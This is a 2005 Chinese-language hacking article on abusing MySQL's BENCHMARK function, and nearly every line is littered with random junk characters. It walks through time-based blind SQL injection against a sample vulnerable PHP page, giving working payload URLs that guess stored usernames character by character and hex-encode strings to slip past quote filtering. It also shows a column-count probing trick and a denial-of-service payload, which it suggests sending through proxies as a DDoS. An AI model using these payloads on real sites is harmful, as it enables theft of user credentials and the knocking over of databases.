MYSQL中BENCHMARK函数的利用 ! O% v5 O" P# q: | J' q
本文作者:SuperHei J/ h, h/ g; I! ^6 Z: v/ V5 w2 R
文章性质:原创
/ }' w( a9 P: m发布日期:2005-01-02; X. v- ?+ ]: U9 s
完成日期:2004-07-09 " Q' [ M1 L* r3 _4 \
第一部9 F6 D" M$ o) J4 N1 s0 ?
: d2 u$ l4 Z0 W1 D( A6 n利用时间推延进行注射---BENCHMARK函数在注射中的利用 + H) p! h2 T5 Y0 C
1 u2 L7 q: x3 H! M( o1 X1 h
一.前言/思路
2 z4 H" r7 ?% |* V7 E2 ^
0 h& d9 o2 `8 v4 @0 A- V* I7 [$ { 如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。- Y9 [" y5 R7 Q! G
) V! g0 i( p! l- R
本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。
6 ] s( F7 ?2 n2 N' X; t1 L7 [
% n1 L0 O) d8 s8 P5 E二.关于BENCHMARK函数
# s) i7 Z, ~9 _+ A& }$ M S$ Y. A: Y* s
在MySQL参考手册里可以看到如下描叙:
* l0 H; K4 Z/ X: K
$ i9 v* u& q; U, ]# t& E1 u* U7 t& K/ e
--------------------------------------------------------------------------------
/ U$ ?+ ~& g/ y8 t; ]) K$ x
" n; a2 H, w6 u) i3 i! ^4 [3 {8 bBENCHMARK(count,expr)
" Y" |4 {: c& y) `7 rBENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。 , s' o* H0 T/ X9 z
mysql> select BENCHMARK(1000000,encode("hello","goodbye")); ! K1 Z; k. A7 q' `7 Y. D6 b# ?
+----------------------------------------------+ : P1 ?, a- Q: x, B) Z3 ^
| BENCHMARK(1000000,encode("hello","goodbye")) |
Y) E5 _$ w2 M2 i4 l+----------------------------------------------+ ( |( s# Y$ d" e6 g0 e
| 0 | ; Y( k5 t0 o$ g1 l* O1 ~& D4 \' z
+----------------------------------------------+ 1 n; l; W% P+ t+ w7 ^( u6 O( ]. P
1 row in set (4.74 sec)
; R" n8 W% E/ @' a4 ^! I, D/ M4 ~9 j4 d% e
报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。1 z- I$ g( Y) C% q2 w7 c
. f+ w5 E8 X3 O8 ~
- j2 h- M9 k9 u. W' e7 z8 @6 N" H: f
--------------------------------------------------------------------------------' R" S9 k8 _9 P
% N8 q+ k6 R' D 只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果: # L# q; m C E/ B; C1 R3 q* H. ^
8 f& [ X6 C: i4 Imysql> select md5( 'test' ); : ?8 V" {! r( n5 k4 m
+----------------------------------+
: e& X+ m& U m7 ~# o| md5( 'test' ) | ! l( ?6 E% ?% ]/ |$ x% l( `
+----------------------------------+ : g6 X6 U" J; X# N) ~8 j
| 098f6bcd4621d373cade4e832627b4f6 | 8 E2 R/ G, C; ]2 q l
+----------------------------------+
) w: q4 }/ f. k7 V9 u6 x. A% I9 J1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec
1 v4 ?/ i; N% U0 u0 J
x; W+ T6 Y. s8 H1 tmysql> select benchmark( 500000, md5( 'test' ) );
4 R( C; j/ X, |; \3 q. f8 T3 [+------------------------------------+
! m0 {5 F3 y* o& @) V# C| benchmark( 500000, md5( 'test' ) ) | , F. a3 T7 |1 d# {) H/ T3 C) G+ R) Z$ S
+------------------------------------+
0 [' B! ]0 \8 n R| 0 |
/ Q. a0 ^- U! O. i* Z+------------------------------------+ + E4 G3 S! h; t. R9 F
1 row in set (6.55 sec) 〈------------执行时间为6.55 sec. ?6 G5 ^+ m7 N/ S P4 U/ V/ x3 | O
; O ^: c- n$ T& d
( n l3 {; A6 L6 G3 W* W9 V: U 由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。
3 O5 b% ?5 O! P! V" R0 o5 r! P5 M/ d6 d3 e5 M% [
三.具体例子0 m: M- H$ U# C! G7 G
) Y7 j; W2 N" e8 i+ C/ E
首先我们看个简单的php代码:
0 D8 C6 l. \/ p: ^5 f, }6 l; {$ O1 J7 K) @7 e# Q6 \
< ?php 8 v" X( D7 S2 |; ]2 t1 T' G7 N
$servername = "localhost"; * M! b$ \& R/ P$ t
$dbusername = "root";
" P9 B* o' ^# ?/ X$dbpassword = ""; $ Z* D; N% v3 N( h
$dbname = "injection"; " s* ^) r! t- `6 U
4 m" T1 N n) v; E- ~mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
( y+ ^& Z: y b* K3 H% Y1 }1 R- H5 }8 w) k/ U6 U3 \, V& \5 } v) _2 M
$sql = "SELECT * FROM article WHERE articleid=$id"; # L5 g1 [8 H( T+ g, {0 k+ N
$result = mysql_db_query($dbname,$sql); ( d& M5 E! `. A6 A( o
$row = mysql_fetch_array($result);
6 u- O! |! e0 ^+ I0 a# w9 D% p- _& t* t: b
if (!$row) , v# t% R. F, @% v
{
; Y7 S7 {$ N, V1 }! Jexit;
& P3 Y2 J* ]# U' _# E2 }/ I* J3 Z}
- k0 f' l; r |, v$ A9 G& r?>
0 _0 z# W. g u) R( k+ X- ]* G
3 M' T q/ l4 `3 I! l9 V4 M4 a4 b3 o: Y1 A
数据库injection结构和内容如下:
+ z: e( t5 e& b, ?2 V- [2 e X- a6 E9 c" U) c
# 数据库 : `injection` : z* f$ M- h5 W* b
# * t' w& d" E4 Y0 \- o% W
( M" t# C1 T j6 C2 `# -------------------------------------------------------- 5 e* H, e& {0 `4 `. n
8 b; k" ?- A6 g. L# * F1 n' d7 @: F' s' d
# 表的结构 `article`
" ]3 T7 h! U, v' e9 e- |# $ \# {0 I: G f) w3 L! }+ U
+ r6 n$ j# N6 B, M! a8 o5 q0 s0 f" w0 cCREATE TABLE `article` (
5 |& x" R, O( C: l# k3 N; |`articleid` int(11) NOT NULL auto_increment,
6 u% m0 R& ]. O3 W# d% X$ Z`title` varchar(100) NOT NULL default '', 6 a9 s+ h: \) y2 Z/ x: E' j
`content` text NOT NULL, % L0 M% u. w! O# T4 ?) d
PRIMARY KEY (`articleid`)
7 u( b) j# T, V/ f9 a0 l) TYPE=MyISAM AUTO_INCREMENT=3 ;
. ?7 k7 `2 a# P: p
3 Q0 N5 i$ W7 ~9 ]2 v6 G) n7 i#
9 b* |9 l6 C7 N+ Y, f* ~. D# 导出表中的数据 `article`
9 B1 x$ M+ }4 h/ I8 r% z3 x# & P" x2 o, v- t; c7 S
4 w! h, b$ M8 [( @/ e1 s$ s
INSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~');
$ h$ O3 z/ k/ K' l6 Z9 _( k$ QINSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊'); ' n, H0 O* h, N( r! ?# u
8 f% o5 u/ u0 `6 V3 e# --------------------------------------------------------
: b% n' ^! V8 c; D- {9 J
* E- Z( w- t# [# & P1 {& s) t1 n: ]( R; J
# 表的结构 `user`
* w* |& Q. d* f( E#
* d7 P. n& x! B3 l( ?) H. \& b+ m+ K6 c0 N
CREATE TABLE `user` ( % M" d9 O5 Y- M3 c
`userid` int(11) NOT NULL auto_increment, 3 `" J; B- g g# K1 h3 L, [
`username` varchar(20) NOT NULL default '', ) J9 {% E1 A3 f/ W- E
`password` varchar(20) NOT NULL default '',
% E8 C; Y# \4 [% P/ ]4 SPRIMARY KEY (`userid`)
4 I" F5 F; O5 o0 X8 I( Z# ~+ I4 D) TYPE=MyISAM AUTO_INCREMENT=3 ; 4 H8 v1 \- V- i8 `
8 s4 {8 G- x$ F ?4 k/ L# ) p4 T, H, c" A; i
# 导出表中的数据 `user` . ?& \: C$ c8 e0 R. p/ H( i
#
: a9 v: u: a2 w5 Y5 b8 W. G& I% g4 P! _- k
INSERT INTO `user` VALUES (1, 'angel', 'mypass');
. j+ J, Y# m2 a( \7 F) {INSERT INTO `user` VALUES (2, '4ngel', 'mypass2');
0 K' q3 m( m! X) Y$ q
; v' F; A5 X* ^! M- ? @
3 \' F$ o2 v# T4 A: z 代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:! G0 L& C V: w) [: M0 O7 }" Y
# _. D a/ S1 C" }5 D+ m" T
id=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*; l- r/ u' r/ z
; p7 K' G7 y2 T* M
, i6 k- `# d2 a3 ?, a
上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:0 b( Q$ K- l' N! u" }& a
# h( m+ ? T. @7 G' T- Chttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/* w/ @0 j. V4 K8 v+ G7 i' \+ M; ^
/ b2 e7 D5 r! t3 v* h' |5 H- A- I% {
- o; \5 ~2 J2 r3 F% V
执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。 8 \* k/ }; S1 J
2 U2 P: v3 _5 P+ ^" q+ e 注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。
: }/ j; d9 K# n" K. ~4 k
4 @4 K8 ~% r7 W* K3 U& l: D4 d第二部
/ W) s) q+ u. X1 |! C4 |9 A. T3 [
) M/ Q E/ m0 [利用BENCHMARK函数进行ddos攻击
: i9 T- f- o8 E4 k' v4 p9 h! |5 c% R
r$ o' j$ `- E* ]! @$ d 其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:
! B* I' W3 K3 f% W1 d
* ]9 }6 q A. c5 z0 `: {* x/ R7 Ghttp://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))
, B) ~" c. {0 L 9 w% L# U$ |, V4 \" M
* R+ X I! A* \9 l) y
小结
) X8 t" m, \! \! _. z1 |. k5 [ o
/ b: c. @- S L; v, O' m 本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。
+ g/ f4 l4 t! t" F
% _( `( W5 _, s+ B8 G6 q- V
# h, b% d" M- Q" N1 @. ~ |